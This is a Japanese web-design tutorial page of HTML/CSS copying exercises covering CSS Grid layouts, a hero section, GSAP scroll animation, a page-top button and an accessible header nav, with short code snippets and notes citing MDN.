HTML模写は、実際のレイアウトを再現しながら「構造」と「CSS設計」を同時に学ぶ練習方法です。この003では、CSS Gridを使ったセクションレイアウトを題材に、実務で通用する配置設計を身につけます。 模写対象は、見出し・テキスト・画像（またはカード）をGridで配置した、シンプルなセクション構成のページです。 このHTML模写で身につくこと この課題では、次の力が身につきます。 セクション構造の作り方（どこで区切るか） Gridで「列」を設計する考え方 余白を均一に整える力（gapの意識） 画面幅によって配置を切り替える発想（レスポンシブ） 要素数が増減しても崩れないレイアウト設計 Flexではなく、Gridでレイアウトを組み切る感覚を体に入れる課題です。 模写の完成条件（Grid前提） 最低限、ここまでできたら完成です。 セクション内の要素がGridで配置されている PCでは複数列、スマホでは縦積みになる 要素同士の余白が一定で、読みやすい 画面幅を変えても横スクロールが出ない 見出しと本文の階層が自然に整理されている 加点（おすすめ） セクションごとに余白のリズムが揃っている 情報の優先順位が見た目に反映されている（主役が分かる） 模写の進め方（迷わない手順） 1. まずは「構造」を作る 最初は見た目よりも、どこからどこまでが1つのセクションかを決めて、構造を整理します。ここが曖昧だと、後からレイアウトが崩れやすくなります。 2. 次に「Gridの列設計」を決める この課題の核です。「このセクションは何列にするか」「どの要素を同じ行に置くか」を決めて、Gridで配置します。 3. 最後に「余白」と「レスポンシブ」で仕上げる 見た目の完成度は、余白と切り替えで決まります。PCでは詰まりすぎない、スマホでは読みやすい、という状態に調整します。 よくあるつまずき（Grid模写あるある） 余白がバラバラになる→ 余白は個別調整より「全体のルール」で揃える 要素に無理な幅を持たせて崩れる→ Gridで配置する前提なら、要素側に強い制約をかけすぎない スマホで横スクロールが出る→ どこかに固定幅が残っていないか確認する 列設計が曖昧で、配置が安定しない→ 「主役」「補助」「装飾」を分けて配置する 模写サンプル（デモ） 模写サンプルサイト　　elementary003 見た目を完全一致させる必要はありません。目的は Gridで崩れないセクション配置を再現することです。 こちらの記事が役に立ちますのでぜひ使ってみてください。 CSSグリッドジェネレーター｜コード自動生成でレイアウト設計を効率化 模写後チェックリスト セクションの区切りが分かりやすいか Grid配置が整理されていて読み取れるか 余白のルールが統一されているか PCとスマホで読みやすいか 横スクロールが出ていないか まとめ この003は、Gridでレイアウトを設計する感覚を身につけるための課題です。Gridが安定して使えるようになると、カード一覧やギャラリーなど、実務のレイアウトが一気に楽になります。 よくある質問（FAQ） Q. CSS Gridの基本的な使い方は？ コンテナ要素にdisplay: gridを設定し、grid-template-columnsで列数と幅を定義します。例えばgrid-template-columns: repeat(3, 1fr)で3等分の列が作れます。行間・列間のgapで余白を設定し、grid-template-areasで名前付きのレイアウト定義も可能です。2次元レイアウト（行と列の両方）を制御する場面でFlexboxより適しています。 Q. CSS GridとFlexboxをどう使い分けますか？ Flexboxは1方向（横または縦）の配置に適しており、ナビメニュー・カードの横並び・フォームの入力欄配置に使います。CSS Gridは2方向（行と列）のレイアウトに適しており、ページ全体のレイアウト・ダッシュボード・画像ギャラリーに使います。コンポーネントレベルではFlexbox、ページレベルではGridを使うのが一般的な使い分けです。 ### [模写中級 #001 | CSS Gridで作るポートフォリオ](https://codequest.work/intermediate001/) 模写中級 #001「ポートフォリオ」は、4枚のカードをCSS Gridで自由な位置に敷き詰め、マウスを乗せると隠れていた説明文が開き、スクロールすると順に浮かび上がる、ダークテーマの1ページ・ポートフォリオを作る課題です。使うのはHTML・CSS・素のJavaScriptだけで、ライブラリは使いません。 中級の1本目です。初級との違いは「タグを正しく置けるか」ではありません。グリッドのライン番号を自分で決められるかと、hoverやクラス付与といった「状態」でCSSを切り替えられるか——この2点に絞られます。動く見本は 模写中級 #001 の完成見本 で確認できます。 課題の条件は次のとおりです。所要時間は実装量から見積もった目安であり、計測した数値ではありません。 項目内容難易度中級所要時間目安3〜5時間（実装量からの見積もり）使う技術HTML／CSS Grid／transform・transition／@keyframes／clamp()／JavaScript（classList・getBoundingClientRect）作るページ数1ページ（ヘッダー・カード4枚・テキストアニメーション・フッター）対応幅PCと、768px以下のスマートフォン表示の2段階 この課題で作るもの ページは上から4つのパートでできています。それぞれで練習する技術が違うので、どこで詰まっているのかを切り分けやすい構成になっています。 パート中身主に使う技術ヘッダー大きな英字タイトルと、薄く重ねたゴースト表記position: sticky／@keyframes／clamp()カード4枚画像＋見出し＋説明文。ホバーで説明が開くCSS Grid（12列）／transform／transitionテキストアニメーション1文字ずつ時間差で現れる帯JavaScriptで文字を分割／@keyframesフッター戻るリンクと著作権表記基本のレイアウト HTMLの骨格 最初に決めるのは入れ物です。カードは同じ形のものが4つ並ぶので、リストとして持ちます。ここまでを先に書き切ってから、CSSに入ってください。 <header class="site-header"> <h1>タイトル</h1> <p aria-hidden="true">薄いゴースト表記</p> </header> <main> <ul class="card-list"> <li class="card"> <img src="..." alt="..."> <div class="card-text"> <h2>見出し</h2> <p>ホバーで開く説明文</p> </div> </li> ... 同じ形をあと3つ </ul> </main> <footer class="site-footer">...</footer> 完成コードは載せません。模写課題は「見本を見て自分で組み立てる」ことが練習になるので、ここで出すのは骨格と、詰まりやすい箇所の直し方までにしています。 グリッドの数値仕様 カードの配置はこの課題の中心です。見本は「12列 × 8行（1行80px）、gap 16px」のグリッドを敷き、その上に4枚を次のように置いています。数値を先に固定しておくと、迷わず組めます。 カードgrid-columngrid-row1枚目1 / 61 / 42枚目6 / 131 / 33枚目7 / 133 / 64枚目1 / 74 / 9 ここで一度つまずきます。指定するのは「列」ではなく「線」の番号だからです。12列のグリッドには線が13本引かれるので、右端まで使うカードの終端は 13 になります。6 / 13 は「6本目の線から13本目の線まで＝6列目から12列目まで」という意味です。埋まらないマスがあるのは不具合ではなく、余白として意図された配置です。 768px以下では、この12列を捨てて 1fr 1fr の2列に切り替え、行の高さも auto に戻します。行を80px固定のまま狭い幅に持ち込むと、カードの中身が入りきらずに溢れます。 完成条件（ここまで出せたら合格） 「なんとなく似た」で終わらせないために、自分で合否を出せる基準を置いておきます。ブラウザの検証ツール（DevTools）を開き、次の5つを順に見てください。すべてOKなら合格です。 確認すること合格の状態外れたら疑うところPC幅でのカード配置4枚が重ならず、上の表の列・行に収まっているgrid-column／grid-row の終端の線番号カードにマウスを乗せる説明文の max-height が 0px から 200px に変わり、文章が開くhoverを書いた要素（親か子か）ページをスクロールする各カードに show クラスが付き、opacity が 0 から 1 になるscrollイベントの登録と、しきい値の判定式幅を768px以下にする2列になり、説明文が最初から開いているメディアクエリの中で max-height と opacity を戻しているかヘッダーのタイトルスクロールし始めた直後、画面上端から一定の位置で止まるsticky に top などのオフセットを書いているか 疑うところは1段階だけにしてあります。そこを直しても変わらないときは、原因はもう1つ外側にあります。CSSを足す前に、DevToolsのElementsパネルでクラスが付いているかどうかを先に見てください。「クラスは付いているのに見た目が変わらない」のか「クラスが付いていない」のかで、直す場所がCSS側かJavaScript側かに分かれます。 実装の順番 骨格を全部書いてからCSSに入る カードを1枚作ってCSSを書き、また1枚足して……と進めると、グリッドの行数が途中で変わって毎回崩れます。4枚ぶんのHTMLを先に書き切ってからCSSを当ててください。この課題では、中身のテキストは仮の文字で構いません。 グリッドは線を紙に描いてから書く 12本の縦線と9本の横線を紙に引き、4枚の四角を塗ってから、線の番号を読み取ってCSSに写します。頭の中だけで数えると、ほぼ必ず1つずれます。DevToolsのElementsパネルでグリッドコンテナの横に出る目印を押すと、線番号が画面に重ねて表示されるので、書いたあとの答え合わせにも使えます。 「開く」動きは高さの上限で作る 説明文をホバーで開く動きは、display: none では作れません。表示・非表示の切り替えはアニメーションしないためです。代わりに高さの上限を 0 から十分な値へ動かします。 .card-text p { max-height: 0; overflow: hidden; opacity: 0; transition: max-height 0.4s ease, opacity 0.3s ease; } .card:hover .card-text p { max-height: 200px; opacity: 1; } 肝は .card:hover .card-text p という書き方です。マウスが乗るのは親のカード、開くのは中の段落なので、hoverは親に書き、対象は子孫として指定します。見本の実測でも、ホバー前後で max-height が 0px から 200px に変わることを確認しています。上限値は中身より大きければよく、厳密な高さを合わせる必要はありません。 スクロール検知はクラスを付けるだけにする JavaScriptでスタイルを直接書き換えると、あとから調整するときにCSSとJavaScriptの両方を追う羽目になります。JavaScript側の仕事はクラスを1つ付けるところまでにして、見た目はCSSに任せてください。 function handleScroll() { document.querySelectorAll(".card").forEach((el) => { const rect = el.getBoundingClientRect(); const triggerPoint = rect.top + rect.height * 0.5; if (window.innerHeight > triggerPoint) { el.classList.add("show"); } }); } handleScroll(); window.addEventListener("scroll", handleScroll, { passive: true }); 読み込み直後に一度呼んでおくのがポイントです。これが無いと、最初から画面に入っているカードが、一度スクロールするまで透明のままになります。しきい値の 0.5 は「要素の高さの半分まで画面に入ったら」という意味で、この数字を上げるほど発火が遅くなります。 マークアップの考え方 ここは誤解が広まりやすい領域なので、仕様書とMDNの記述に当たって整理します（いずれも2026-08-02取得）。 section と div の使い分け 「divは意味がないから section に置き換えるほうが良い」は誤りです。HTML Living Standard は 4.3 Sections で、section要素は汎用のコンテナ要素ではなく、スタイリング目的やスクリプトの都合だけで要素が必要な場合は div を使うことが推奨されると明記しています。MDNの section要素のページも「スタイリングのラッパーとして使うだけなら div を使うこと」と書いています。 実際の挙動でも確かめられます。MDNによれば section の暗黙のARIAロールは「アクセシブルな名前があれば region、無ければ generic」です。Chromiumのアクセシビリティツリーを取得して確認したところ、<section> の中に見出しを1つ置いただけではロールは generic のままで、aria-label を付けたものだけが region になりました（同じ中身の <div> も generic）。section に置き換えただけでは支援技術から見た情報は増えません。この課題では、カードの入れ物は div とリストのままで十分です。 見出しレベルの扱い MDNの h1〜h6のページは、使い方の注意として「見出しレベルを飛ばさない。常に h1 から始めて h2 と続ける」「文字の大きさを変える目的で見出し要素を使わない。サイズは font-size で指定する」の2点を挙げています。理由はSEOではなく、スクリーンリーダーの利用者が見出しを飛ばしながら中身を把握する読み方をするためだ、とアクセシビリティの節に書かれています。 「1ページにh1は1つだけ」も、正確には少し違います。MDNは複数のh1はHTML標準としては許されている（入れ子でない限り）が、ベストプラクティスとは見なされないという書き方をしています。あわせて、入れ子のセクショニング要素の中に複数のh1を置く形は旧版では認められていたものの現在は不適合であること、2025年5月より前は section・article・aside・nav の中の h1 を h2 相当の大きさで描画する規定があったが、その文脈依存の既定スタイルは削除されたことも明記されています。この課題の構成なら、ヘッダーのタイトルが h1、カードの見出しが h2 で、飛ばさずに収まります。 カードは article にできるか できます。MDNの article要素のページは「文書・ページ・アプリケーション・サイトの中で自己完結した構成物で、原則として単独で配布・再利用できるもの」と定義し、その例として商品カードを挙げています。 ### [模写準中級 #002 | ヒーローセクション](https://codequest.work/html-mosha-hero-002/) HTML模写は、実際のレイアウトを再現しながら「構造」と「見た目」を同時に身につける練習方法です。この002では、ページの第一印象を決める ヒーローセクション を題材に、HTMLとCSSの基礎を固めます。 この課題は、まず 静的なヒーローを完成させ、余力があれば カーテンアニメーションで演出を追加する構成にすると、学びがきれいに積み上がります。 このHTML模写で身につくこと ヒーローの基本構造（header / main / section） 見出し（キャッチコピー）の配置と読みやすさ 背景画像（またはヒーロー画像）の扱い方 余白設計（paddingで整える） スマホで崩れないレスポンシブ対応 余力があれば：カーテンアニメーションによる演出 模写の完成条件（合格ライン） 最低限、ここまでできたら完成です。 ヒーローに「キャッチコピー（見出し＋補助文）」がある 背景画像（または画像要素）が表示され、ヒーローとして成立している 余白と文字サイズが整っていて読みやすい 画面幅を変えても破綻しない（横スクロールが出ない） 加点（おすすめ） PCとスマホで、文字サイズ・余白が最適化されている ボタン（CTA）が付いている（あれば実務感が上がる） カーテンアニメーションが付いている HTML模写の進め方 1）まずHTMLだけで骨組みを作る 最初にCSSを触らず、構造だけ作ります。 heroセクション 見出し（h1） 補助文（p） 画像（backgroundでもimgでもOK） この段階は「意味のある構造」を作るのが目的です。 2）CSSでヒーローを成立させる 次に「それっぽい見た目」を作ります。 ヒーローの高さ（min-height） 背景画像の表示（cover / center） 文字の配置（中央寄せ or 左寄せ） 余白（padding） まずは 静的に完成させてください。 3）余力があればカーテンアニメーション この教材では、ヒーローにカーテンアニメーションを入れる想定があります。最初は「動かす」よりも、構造が崩れないことを優先し、動きは最後に足すのが最短です。 よくあるつまずき 画像が引き伸びる／切れ方が不自然→ background-imageなら「cover」「center」を優先して調整 スマホで文字が大きすぎる／はみ出す→ フォントサイズと余白を、スマホ用に上書きする 上下中央に揃わない→ 子要素をいじりすぎず、親側で整列（中央寄せ）を作る 模写サンプル（デモ） こちらのヒーローデザインを模写してください。 模写サンプルサイト　　elementary002 見た目を完全一致させる必要はありません。目的は ヒーローの構造とレイアウトを再現することです。 模写後チェックリスト 見出しの階層が自然か（h1が主役になっているか） 余白がpaddingで整っているか（margin連打になっていないか） 画像と文字のバランスが取れているか スマホで崩れていないか まとめ ヒーローセクションは、Web制作で最初に「デザインと構造の両立」を学べる重要パーツです。この課題でヒーローが安定して作れるようになると、LP制作の難易度が一気に下がります。 よくある質問（FAQ） Q. ヒーローセクションとは何ですか？ ヒーローセクションとは、Webページを開いた時に最初に画面全体に表示される大きなビジュアルエリアです。通常、メインのキャッチコピー・サブテキスト・CTAボタンと、背景画像または動画で構成されます。ユーザーの第一印象を決める最も重要なセクションで、ブランドメッセージやサービスの価値を瞬時に伝える役割を持ちます。 Q. ヒーローセクションの背景画像を全画面表示する方法は？ セクション要素にheight: 100vhまたはmin-height: 100svhを設定し、背景画像をbackground-image: url()で指定します。background-size: coverで画面いっぱいに表示し、background-position: centerで中央配置します。テキストの視認性を確保するために、背景画像の上に半透明のオーバーレイ（::beforeの擬似要素にbackground: rgba(0,0,0,0.4)等）を重ねるのが一般的です。 Q. ヒーローセクションの高さはどう決めればいいですか？ ファーストビュー全体を占めるヒーローなら、min-height: 100svh（またはvh）で画面の高さに合わせるのが基本です。コンテンツ量に応じて高さを変えたい場合は、min-heightに固定値（例: 600px）とpaddingを組み合わせます。100vhはスマートフォンのアドレスバーの分だけ余白がずれるため、近年はsvh・dvhを使うと表示が崩れにくくなります。 Q. ヒーローのテキストを上下中央に配置するには？ 親要素にdisplay: flex; flex-direction: column; justify-content: center; align-items: center;を指定すると、見出し・補助文・ボタンをまとめて上下左右の中央に揃えられます。子要素ごとにmarginで位置を調整するより、親側で整列を作るほうが崩れにくく、保守も簡単です。 Q. カーテンアニメーションとは何ですか？どう作りますか？ カーテンアニメーションとは、ページ読み込み時に幕が開くようにヒーローが現れる演出です。オーバーレイ用の要素をtransformのtranslateYやscaleYで動かし、CSSの@keyframesとanimation（またはtransition）で開閉させて表現します。まず静的なヒーローを完成させてから、最後に動きを足すのが確実です。 ### [模写上級 #001 | ポートフォリオサンプルサイトスクロールGSAP](https://codequest.work/advanced001/) 1. HTML構造 セマンティックな要素の使用: ヘッダー、セクション、フッターなどのセマンティックなHTML要素が使われていると推測されます。これにより、構造が明確になり、SEO対策にも効果的です。 コンテンツの分割: ページは複数のセクションに分割され、それぞれ異なるコンテンツやアニメーションが表示されています。これにより、情報が整理され、ユーザーにとって理解しやすくなっています。 2. CSSによるデザイン レスポンシブデザイン: モバイルデバイスからデスクトップまで、様々な画面サイズで最適な表示がされるよう、メディアクエリが使われている可能性があります。 アニメーション効果: GSAPを活用したアニメーションが、スムーズな動きを実現しています。CSSも併用されている可能性があり、複雑なアニメーションのためにJavaScriptと連携している部分が多いでしょう。 3. JavaScriptの利用 GSAPの活用: ページの主なアニメーションはGSAPによって実装されており、スクロールトリガーやタイムラインアニメーションなど、高度な動きが可能です。 インタラクティブな要素: ユーザーのスクロールやクリックに反応するインタラクティブな要素がJavaScriptで実装されている可能性があります。 4. パフォーマンス最適化 画像の最適化: スライドショーや背景画像などが使用されているため、画像の最適化や遅延読み込み（lazy loading）が行われていると考えられます。 スクリプトの最適化: 必要なスクリプトだけを読み込み、不要なレンダリングブロッキングを回避するために非同期ロードが活用されている可能性があります。 5. アクセシビリティ ARIA属性の利用: インタラクティブな要素やアニメーションが多いページでは、ARIA属性を使用してアクセシビリティを向上させている可能性があります。 キーボード操作への対応: キーボードナビゲーションを考慮した設計も実装されているかもしれません。 GSAPによるアニメーション効果でウェブデザインを進化させる方法 GSAP（GreenSock Animation Platform）は、ウェブデザインにおけるアニメーション効果を簡単かつ効果的に実現する強力なツールです。このページでは、GSAPを活用したクリエイティブなアニメーションデザインを紹介します。 GSAPアニメーションとは？ GSAPアニメーションは、滑らかな動きと高いパフォーマンスが特徴で、ウェブサイトに動的な視覚効果を加えます。スクロールアニメーション、要素のフェードイン・アウト、複雑なタイムラインアニメーションなど、多様な表現が可能です。 SEOに優れたアニメーション効果 ウェブデザインにおいて、ユーザーエクスペリエンスを向上させるアニメーションは、滞在時間の延長や直帰率の改善に寄与します。これにより、検索エンジン最適化（SEO）にもプラスの影響を与えます。GSAPを使えば、SEOフレンドリーなアニメーションを実現し、訪問者にインパクトを与えるページが構築できます。 GSAPを使ったウェブ制作のポイント パフォーマンス最適化: 軽量で高速なアニメーションは、ページ読み込み速度を損なわずに魅力的なデザインを提供します。 レスポンシブデザイン: あらゆるデバイスで一貫した体験を提供し、ユーザーの満足度を向上させます。 アクセシビリティ対応: ARIA属性やキーボード操作への対応を考慮し、すべてのユーザーに優しいウェブサイトを構築します。 GSAPアニメーションを活用したウェブデザインは、ユーザー体験を大きく向上させ、SEOの向上にも貢献します。アニメーション効果を最大限に活用し、他と差別化された魅力的なウェブサイトを作りましょう。 模写サンプルサイト　　advanced001 よくある質問（FAQ） Q. GSAPを使ったスクロールアニメーションの模写は何が学べますか？ GSAPライブラリの基本的な使い方（gsap.to/from/timeline）、ScrollTriggerプラグインによるスクロール連動制御、複数要素のシーケンスアニメーション（stagger）の実装スキルが学べます。実務のポートフォリオサイトやコーポレートサイトで多用されるリッチな演出技術を実践的に身につけられる上級課題です。 Q. ポートフォリオサイトの模写を上手に進めるコツは？ まずアニメーションなしの静的レイアウトを完成させてから、段階的にアニメーションを追加します。CSSトランジション→GSAP単体アニメーション→ScrollTrigger連動の順で実装すると、各技術の役割を理解しながら進められます。一度に全部を実装しようとすると複雑になりすぎるため、セクション単位で完成させる方法を推奨します。 ### [模写初級 #005｜ページトップボタンの作り方](https://codequest.work/html-mosha-anchor-005/) ページトップボタンとは、ページを下までスクロールしたときだけ現れ、押すと最上部へ戻るリンクのことです。この課題では、そのボタンを「戻り先の指定」「画面への固定」「出し入れの切り替え」という3つの部品に分解して作ります。 模写初級 #005 は、アンカーナビ（ページ内リンク）付きの1ページ構成を題材にした課題です。見た目を1pxまで合わせることが目的ではありません。「押したら意図した場所に、意図した速さで、誰でも移動できる」という状態を自力で作れるようにするのがゴールです。 項目内容難易度初級所要時間目安2〜3時間（実装量から見積もった目安であり、計測値ではありません）使う技術HTML／CSS（position・scroll-behavior・メディアクエリ）。JavaScriptは任意模写対象beginner 005 サンプルサイト（2026-08-02時点で表示を確認） 課題の完成条件（合格ライン） 「なんとなく動いた」で終わらせないために、先に合格ラインを決めておきます。次の5つがすべて自分で確認できたら、この課題は完成です。 合格を判定する5つの基準 ページ最上部ではボタンが見えず、少しスクロールすると現れ、また上に戻ると消える ボタンを押すと最上部に戻る。ブラウザのコンソールで window.scrollY が 0 になっている キーボードだけで操作できる。Tabキーでボタンにフォーカスが当たり、Enterで最上部へ戻る。しかもボタンが非表示のときはTabで到達しない OSの「動きを減らす」設定をONにすると、スクロールがアニメーションせず一瞬で終わる ヘッダーのナビを押したとき、飛び先の見出しが固定ヘッダーの下に潜っていない 3番目はマウスだけで作っていると絶対に気づけません。DevToolsのコンソールで次を実行すると、目視に頼らず判定できます。ボタンが非表示のときに false が返れば正しい状態です。 const btn = document.querySelector('.back-to-top'); btn.focus(); console.log(document.activeElement === btn); 外れたときに疑うこと 基準3が通らない（非表示なのにフォーカスが当たる）→ ボタンの隠し方が opacity: 0 だけになっていないかを見る 基準4が変わらない → prefers-reduced-motion のメディアクエリを書いたかを見る スクロールが滑らかにならない → scroll-behavior を body に書いていないかを見る 基準5が潜る → 飛び先のセクションに scroll-margin-top が指定されているかを見る 疑う先は1つだけにしてください。「そこを直して、もう一度同じ基準で測る」を繰り返すほうが、原因を何個も並べて考えるより早く終わります。 模写サンプルの構造を読む サンプルは、固定ヘッダー・ヒーロー・About・Services・Works・Contact・フッターという構成の1ページです。ナビの4リンクはすべてページ内リンクで、右下に「↑」のボタンが置かれています。 模写に入る前に2点だけ押さえておくと迷いません。ヘッダーのナビは画面幅768px未満では消え（ハンバーガーメニューは無く、SPではフッターのリンクが入口になります）、Servicesの3カラムは768px以上でだけ3列になります。つまりモバイルファースト、SPから組んでPCを足す順番が合っています。 HTMLの骨格はこの程度で十分です。装飾は後回しにして、まずは戻り先とリンクの関係だけを正しく作ります。 <header class="site-header"> <nav> <a href="#about">About</a> <a href="#services">Services</a> </nav> </header> <main> <section id="about">...</section> <section id="services">...</section> </main> <a href="#top" class="back-to-top" aria-label="ページの先頭へ戻る">↑</a> ページトップボタンを3つの部品に分解する ページトップボタンは1つの機能に見えますが、中身は独立した3つの部品です。分けて作ると、どこで壊れたのかが分かります。 部品1・戻り先を決める 戻り先は id で指定します。ただしページ最上部へ戻すだけなら、専用の id を用意する必要はありません。MDNは「href="#top" または空のフラグメント（href="#"）を使用すると、現在のページの先頭にリンクすることができると、HTML仕様書で定義されています」と明記しています（MDN: <a>要素・2026-08-02取得）。 ボタンにする要素は <button> ではなく <a> にしておくと、JavaScriptが読み込まれる前でも押せば戻ります。中身が記号1文字（↑）になるので、aria-label で「ページの先頭へ戻る」と補う点もサンプルどおり真似してください。 部品2・画面に固定する（fixedとstickyの違い） 右下に常に浮かせるなら position: fixed です。sticky と迷いやすいので、MDNの定義で違いを押さえておきます（MDN: position・2026-08-02取得）。 値ふるまいこの課題での用途fixed通常フローから外れ、レイアウト上の場所を確保しない。ビューポートを基準に配置されるページトップボタン、固定ヘッダーsticky通常フローに残ったまま、スクロールに応じて基準位置からずれる。最も近いスクロール可能な祖先に貼りつくこの課題では使わない sticky は「元の位置がある」のが前提なので、常時右下に浮かせる用途には向きません。なお sticky は top などのインセットを1つ以上 auto 以外にしないと貼りつかない点も、うまく動かないときの定番の原因です。 部品3・出し入れを切り替える ここが、この課題でいちばん差がつくところです。opacity: 0 だけで隠すと、要素は生きたまま透明になるだけなので、キーボードのTabキーで見えないボタンにフォーカスが移ってしまいます。サンプルのCSSを一時的に書き換えて測ったところ、opacity: 0 のみでは focus() が通り、visibility: hidden を併用した本来の状態ではフォーカスが移りませんでした（document.activeElement は body のまま）。 仕様どおりの挙動です。MDNは visibility: hidden の要素について「（タブ順で操作された時などに）フォーカスを受け取ることができません」と説明しています（MDN: visibility・2026-08-02取得）。フェードさせたいなら、opacity と visibility を両方切り替えるのが正解です。 .back-to-top { position: fixed; right: 24px; bottom: 24px; opacity: 0; visibility: hidden; transition: opacity .3s ease, visibility .3s ease; } .back-to-top.is-visible { opacity: 1; visibility: visible; } is-visible を付け外しする部分だけがJavaScriptの仕事です。スクロール量がしきい値（サンプルは300px）を超えたらクラスを足し、下回ったら外します。ここまで分解できていれば、JavaScriptは10行程度で済みます。 スムーズスクロールはCSSだけで足りる 滑らかなスクロールにJavaScriptは要りません。scroll-behavior: smooth の1行で足ります。MDNのBaseline表示では「広く利用可能」で、2022年3月から主要ブラウザで使えるとされています（MDN: scroll-behavior・2026-08-02取得）。 書く場所を間違えると効かない MDNは「このプロパティがルート要素に指定された場合は、代わりにビューポートに適用されます。このプロパティが body 要素に指定された場合は、ビューポートには適用されません」と書いています。つまり body { scroll-behavior: smooth } は効きません。html に書く必要があります。 サンプルページで実際に測ってみました。html に指定した状態でナビを押すと、30ミリ秒後のスクロール位置は 1px（＝まだ動いている途中）で、1.5秒後に目標の 1775px へ到達します。ところが html を auto に戻して body に smooth を書くと、30ミリ秒後にはすでに 1775px。アニメーションせず一瞬で飛んでいることが数値で分かります。 速度は指定できない smooth の動きは「ユーザーエージェントが定義したイージング関数と時間」で行われるとMDNに書かれています。CSSからスクロール速度を調整することはできません。秒数を細かく詰めたいなら、そこで初めてJavaScriptの出番になります。同じくMDNには「ユーザーエージェントは、このプロパティを無視することができます」とも書かれているので、スムーズスクロール前提の設計にはしないでください。 動きを減らしたい人への配慮 大きな画面が勢いよく流れる動きは、前庭障害のある人にとって不快感の引き金になり得ます。MDNの prefers-reduced-motion の解説にも、拡大縮小や大きな対象の移動が引き金になり得ると明記されています（MDN: prefers-reduced-motion・2026-08-02取得）。この機能はBaseline「広く利用可能」で、2020年1月から主要ブラウザで使えます。 重要なのは、ブラウザが自動でスムーズスクロールを止めてくれるわけではないという点です。Chromium 150 で「動きを減らす」をエミュレートして測ったところ、設定のON・OFFにかかわらずスクロールは同じようにアニメーションしました（どちらもクリック40ミリ秒後は 1px、1.6秒後に目標の 1604px）。書き手が明示的に止める必要があります。 html { scroll-behavior: smooth; } @media (prefers-reduced-motion: reduce) { html { scroll-behavior: auto; } } この3行を足して同じ測定をすると、設定がONのときはクリック40ミリ秒後にはもう 1604px に到達していました。アニメーションが完全に消えているということです。ボタンのフェード用 transition も同じメディアクエリの中で none にしておくと一貫します。 自分の環境で確かめるには、macOSなら「システム設定 → アクセシビリティ → 視差効果を減らす」、Windows 11なら「設定 → アクセシビリティ → 視覚効果 → アニメーション効果」を切り替えます。模写サンプルのCSSにはこのメディアクエリが1つも書かれていないので、ここは自分で足す加点ポイントです。 つまずきポイント 実際にサンプルページ上で再現できたものだけを挙げます。 ### [模写準中級 #001｜ヘッダーナビ（キーボード対応まで）](https://codequest.work/html-mosha-header-001/) ヘッダーナビの模写とは、ロゴとナビゲーションを横並びに組み、画面幅が変わっても崩れない構造をHTMLとCSSで再現する練習です。この課題ではそこから一段進めて、閉じたメニューがキーボード操作でどう振る舞うかまで作り込みます。 ヘッダーは見た目だけなら短時間で形になります。それでもWebページの部品のなかでアクセシビリティの差が最も表に出る場所なのは、開閉ボタンや現在地表示といった「状態を持つ要素」が1か所に集中しているからです。見た目の再現で止めるか、状態まで伝えきるかで完成度が分かれます。 この課題の概要は次のとおりです。 項目内容難易度準中級所要時間目安2〜3時間（実装量からの見積もりで、計測値ではありません）使う技術HTML / CSS（Flexbox）／ 開閉を作るなら JavaScript模写元練習用サンプルサイト elementary001ゴールマウスでもキーボードでも破綻しないヘッダー この課題で身につくこと header / nav / ul / li という、ヘッダーの基本骨格の組み立て Flexboxでロゴとナビを横並びにし、上下中央を揃える手順 ブラウザ既定値（ulのpaddingとマーカー）の打ち消し方 幅320pxでも横スクロールを出さない幅指定の考え方 開閉するメニューの状態を、見た目以外の手段でも伝える方法 最後の1つが、この課題を「準中級」に置いている理由です。ここまで踏み込むと、実務でそのまま通用するヘッダーになります。 模写のお題 次のページのヘッダーを模写してください。2026年8月2日にアクセスして表示を確認しています。 模写サンプルサイト　　elementary001 色やフォントを完全一致させる必要はありません。再現するのは構造とレイアウトの考え方です。まずは次の骨格をそのまま書き写すところから始めてください。CSSはまだ書きません。 <header class="site-header"> <a class="site-header__logo" href="index.html">サイト名</a> <button class="site-header__toggle" type="button" aria-expanded="false" aria-controls="gnav">メニュー</button> <nav id="gnav" class="site-header__nav" aria-label="グローバル"> <ul> <li><a href="index.html" aria-current="page">ホーム</a></li> <li><a href="about.html">About</a></li> <li><a href="service.html">Service</a></li> <li><a href="contact.html">Contact</a></li> </ul> </nav> </header> ここに載っているのは骨格だけで、完成形のスタイルは含めていません。CSSを自分で埋めるところが課題の本体です。なお模写元のサンプルはチェックボックスとlabelで開閉する最小構成で、状態の伝達までは扱っていません。この課題ではそこから一段上げます。 実装の進め方 ステップ1　HTMLだけで骨組みを作る CSSを1行も書かない状態で、上の骨格を書き終えます。縦に積み上がった素のリストが並ぶだけですが、見た目は一切気にしません。確認するのは「この状態でもリンクを順番にたどれるか」だけです。CSSを当てる前に成立していない構造は、CSSを当てても直りません。 ステップ2　横並びと上下中央を作る CSSで作るのは、この段階では3点だけです。 headerをFlexコンテナにして、ロゴとナビを横並びにする nav内のulもFlexコンテナにして、メニュー項目を横並びにする ロゴとナビの上下位置を揃える 3番目でつまずく人が多いところです。Flexコンテナの子要素は既定で高さいっぱいに伸びるため、ロゴとナビの文字サイズが違うと中心がずれます。子要素の余白を個別に調整するのではなく、親側で中央揃えを指定して解決します（ずれ幅の実測値は後述の「つまずきポイント」に載せています）。 ステップ3　余白と開閉を足す headerの内側の余白、メニュー項目どうしの間隔、ホバー時の変化を整えます。項目の間隔はmarginを1つずつ足すのではなく、Flexコンテナ側のgapで一括指定すると、項目が増減しても崩れません。最後に狭い画面でのメニュー開閉を作ります。ここが次の章の本題です。 ヘッダーで差がつく4つの要点 以下はすべてMDNの記述を参照し、2026年8月2日にChromium 151（Playwright同梱版）で挙動を確かめたものです。アクセシビリティの全体像はWebアクセシビリティの基本にまとめてあるので、用語がつながらないときはそちらを先に読んでください。 navが複数あるときは名前をつける nav要素は、ページ内のナビゲーションリンクのまとまりを表す要素です。MDNは「1つの文書が複数のnav要素を持つことがある。たとえばサイト全体のナビゲーションとページ内ナビゲーションである。その場合はaria-labelledbyを使ってアクセシビリティを高められる」と記述しています（MDN: <nav>・2026年8月2日取得）。 見出しがない場所で名前を付けたいときは、参照先を必要としないaria-labelを使います。MDNのaria-currentの解説ページも、パンくずの例で <nav aria-label="Breadcrumb"> と書いています。実際にアクセシビリティツリーを取得すると、名前を付けた2つのnavが「navigation | グローバル」「navigation | パンくず」として区別されて並びました。名前がないとどちらもただの「navigation」になり、読み上げで区別がつきません。逆にnavが1つしかないなら名前は必須ではありません。 開閉ボタンには aria-expanded を持たせる aria-expanded は、開閉するものを制御する側のコントロールに付ける属性です。MDNは「ウィジェットを切り替えるボタンは、aria-controlsに対象のidを、aria-expandedに現在の状態を設定すべきである」と記述しています（MDN: aria-expanded・2026年8月2日取得）。 